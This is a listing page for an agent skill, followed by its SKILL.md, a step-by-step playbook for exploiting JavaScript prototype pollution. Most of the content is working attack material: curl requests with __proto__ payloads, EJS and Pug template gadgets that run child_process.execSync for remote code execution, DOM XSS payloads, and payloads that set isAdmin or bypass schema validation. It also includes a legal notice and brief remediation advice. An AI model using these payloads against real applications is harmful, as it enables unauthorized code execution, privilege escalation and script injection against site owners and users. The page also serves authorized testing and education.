New to Claude Skills? Learn how to install them →

mukul975 on GitHub

Exploiting Prototype Pollution

Free

Identify and exploit JavaScript prototype pollution vulnerabilities.

Get this skill

Free · Opens the source repo

What Exploiting Prototype Pollution does

This skill provides a comprehensive approach to detecting and exploiting prototype pollution vulnerabilities in JavaScript applications, both client-side and server-side (Node.js). It is particularly useful for security professionals and developers who need to assess the security of JavaScript-heavy applications, especially those that utilize deep-merged JSON objects. By leveraging the prototype chain in JavaScript, this skill allows users to manipulate object properties in ways that can lead to serious security issues, including cross-site scripting (XSS) and remote code execution (RCE).

The skill guides users through a structured workflow, beginning with the identification of potential pollution sources, such as URL parameters and JSON bodies. It includes practical examples of how to test for vulnerabilities using common JavaScript constructs, like the __proto__ accessor and constructor prototypes. The skill also covers exploitation techniques for both client-side and server-side scenarios, providing users with the necessary commands and scripts to execute their tests effectively.

For developers and security testers, this skill is an essential tool for conducting thorough assessments of applications. It emphasizes the importance of understanding the JavaScript prototype chain and offers insights into common pollution gadgets that can be exploited. With this skill, users can enhance their security testing capabilities and better protect their applications from potential attacks.

Overall, this skill is designed for those who have a foundational understanding of JavaScript and are looking to deepen their knowledge of security vulnerabilities related to prototype pollution. It serves as both a practical guide and a reference for best practices in securing JavaScript applications against these types of attacks.

When to use it

Use this skill when assessing the security of Node.js or JavaScript-heavy web applications, particularly when APIs accept user-controlled JSON objects.

When not to use it

This skill is not suitable for applications that do not utilize JavaScript or for scenarios where prototype pollution is not a relevant concern.

What you can build with it

Testing a Node.js API

Use this skill to assess a Node.js API that accepts JSON objects, checking for prototype pollution vulnerabilities that could lead to RCE.

Evaluating a JavaScript Framework

When reviewing a JavaScript framework for security, employ this skill to identify potential DOM XSS vulnerabilities through prototype pollution.

Conducting a Code Review

During a code review, utilize this skill to analyze object merge or extend operations for potential prototype pollution risks.

How to install Exploiting Prototype Pollution

View source

1. Install with the skills CLI

npx skills add mukul975/anthropic-cybersecurity-skills/exploiting-prototype-pollution-in-javascript --agent claude-code

2. Or install it manually

Download the skill folder and drop it into ~/.claude/skills/ for all projects, or .claude/skills/ to scope it to one repo. Restart Claude Code so it picks up the new skill.

Anthropic's agentic coding CLI, and the reference implementation of Agent Skills. Drop a skill folder into ~/.claude/skills and Claude Code loads it automatically whenever a task matches the skill's description. Claude Code docs

Inside SKILL.md

Written by mukul975

Exploiting Prototype Pollution in JavaScript

When to Use

  • When testing Node.js or JavaScript-heavy web applications
  • During assessment of APIs accepting deep-merged JSON objects
  • When testing client-side JavaScript frameworks for DOM XSS via prototype pollution
  • During code review of object merge/clone/extend operations
  • When evaluating npm packages for prototype pollution gadgets

Prerequisites

  • Burp Suite with DOM Invader extension for client-side prototype pollution detection
  • Node.js development environment for server-side testing
  • Understanding of JavaScript prototype chain and object inheritance
  • Knowledge of common pollution gadgets (sources, sinks, and exploitable properties)
  • Prototype Pollution Gadgets Scanner Burp extension for server-side detection
  • Browser developer console for client-side prototype manipulation

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Identify Prototype Pollution Sources

// Client-side: Test URL-based sources
// Navigate to: http://target.com/page?__proto__[polluted]=true
// Or use constructor: http://target.com/page?constructor[prototype][polluted]=true

// Check in browser console:
console.log(({}).polluted); // If returns "true", pollution confirmed

// Common URL-based pollution vectors:
// ?__proto__[key]=value
// ?__proto__.key=value
// ?constructor[prototype][key]=value
// ?constructor.prototype.key=value

// Hash fragment pollution:
// http://target.com/#__proto__[key]=value

Step 2 — Test Server-Side Prototype Pollution

# Test via JSON body with __proto__
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"isAdmin": true}}'

# Test via constructor.prototype
curl -X POST http://target.com/api/update \
  -H "Content-Type: application/json" \
  -d '{"constructor": {"prototype": {"isAdmin": true}}}'

# Test for status code reflection (detection technique)
# Pollute status property to detect server-side pollution
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"status": 510}}'
# If response returns 510, server-side pollution confirmed

# JSON content type pollution
curl -X POST http://target.com/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/environ"}}'

Step 3 — Exploit Client-Side for DOM XSS

// Step 1: Find pollution source (URL parameter, JSON input, postMessage)
// Step 2: Find a gadget - a property read from prototype that reaches a sink

// Common gadgets for DOM XSS:
// innerHTML gadget:
// ?__proto__[innerHTML]=<img/src/onerror=alert(1)>

// jQuery $.html() gadget:
// ?__proto__[html]=<img/src/onerror=alert(1)>

// transport URL gadget (common in analytics scripts):
// ?__proto__[transport_url]=data:,alert(1)//

// Sanitizer bypass via prototype pollution:
// ?__proto__[allowedTags]=<script>
// ?__proto__[tagName]=IMG

// Use DOM Invader (Burp Suite built-in):
// 1. Enable DOM Invader in Burp's embedded browser
// 2. Enable Prototype Pollution option
// 3. Browse application - DOM Invader auto-detects sources
// 4. Click "Scan for gadgets" to find exploitable sinks

Step 4 — Exploit Server-Side for RCE

# Node.js child_process gadget (RCE)
# If application calls child_process.execSync(), spawn(), or fork():
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}'

# EJS template engine gadget
curl -X POST http://target.com/api/update \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"client": true, "escapeFunction": "JSON.stringify; process.mainModule.require(\"child_process\").execSync(\"id\")"}}'

# Handlebars template gadget
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}'

# Pug template engine gadget
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"block": {"type": "Text", "line": "process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'

Step 5 — Exploit for Authentication and Authorization Bypass

# Pollute isAdmin or role property
curl -X POST http://target.com/api/profile \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"isAdmin": true, "role": "admin"}}'

# Pollute auth-related properties
curl -X POST http://target.com/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"verified": true, "emailVerified": true}}'

# Bypass JSON schema validation
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"additionalProperties": true}}'

Step 6 — Detect with Automated Tools

# Use ppfuzz for automated detection
ppfuzz -l urls.txt -o results.txt

# Nuclei templates for prototype pollution
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/prototype-pollution.yaml

# Server-side detection with Burp Scanner
# Enable "Server-side prototype pollution" scan check
# Review issues in Burp Dashboard

# Manual detection via timing/error-based techniques
# Pollute a property that causes detectable server behavior change
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"toString": "polluted"}}'
# If server errors (500), pollution is working

Key Concepts

ConceptDescription
Prototype ChainJavaScript inheritance mechanism where objects inherit from Object.prototype
protoAccessor property that exposes the prototype of an object
Pollution SourceInput point that allows setting properties on Object.prototype
Pollution SinkCode that reads a polluted property and performs a dangerous operation
GadgetA property that flows from prototype to a dangerous sink (source-to-sink chain)
Deep MergeRecursive object merge functions that may process proto as a regular key
constructor.prototypeAlternative path to access and pollute the prototype object

Tools & Systems

ToolPurpose
DOM InvaderBurp Suite built-in tool for detecting client-side prototype pollution
Prototype Pollution Gadgets ScannerBurp extension for server-side gadget detection
ppfuzzAutomated prototype pollution fuzzer
NucleiTemplate-based scanner with prototype pollution templates
server-side-prototype-pollutionBurp Scanner check for server-side detection
ESLint security pluginStatic analysis for prototype pollution patterns in code

Common Scenarios

  1. DOM XSS via Analytics — Pollute transport_url property to inject JavaScript through analytics tracking scripts that read URL from prototype
  2. RCE via Template Engine — Exploit EJS/Pug/Handlebars gadgets to execute arbitrary commands through polluted template rendering properties
  3. Admin Privilege Escalation — Pollute isAdmin or role properties to bypass authorization checks in Node.js applications
  4. JSON Schema Bypass — Pollute schema validation properties to bypass input validation and inject malicious data
  5. Denial of Service — Pollute toString or valueOf to crash the application when objects are coerced to primitives

Output Format

## Prototype Pollution Assessment Report
- **Target**: http://target.com
- **Type**: Server-Side Prototype Pollution
- **Impact**: Remote Code Execution via EJS template gadget

### Findings
| # | Source | Gadget | Sink | Impact |
|---|--------|--------|------|--------|
| 1 | POST /api/merge __proto__ | EJS escapeFunction | Template render | RCE |
| 2 | POST /api/profile __proto__ | isAdmin property | Auth middleware | Privilege Escalation |
| 3 | URL ?__proto__[innerHTML] | innerHTML property | DOM write | Client-Side XSS |

### Remediation
- Use Object.create(null) for configuration objects instead of {}
- Freeze Object.prototype with Object.freeze(Object.prototype)
- Sanitize __proto__ and constructor keys in user input
- Use Map instead of plain objects for user-controlled data
- Update vulnerable npm packages (lodash, merge-deep, etc.)

Frequently asked questions about Exploiting Prototype Pollution

Similar skills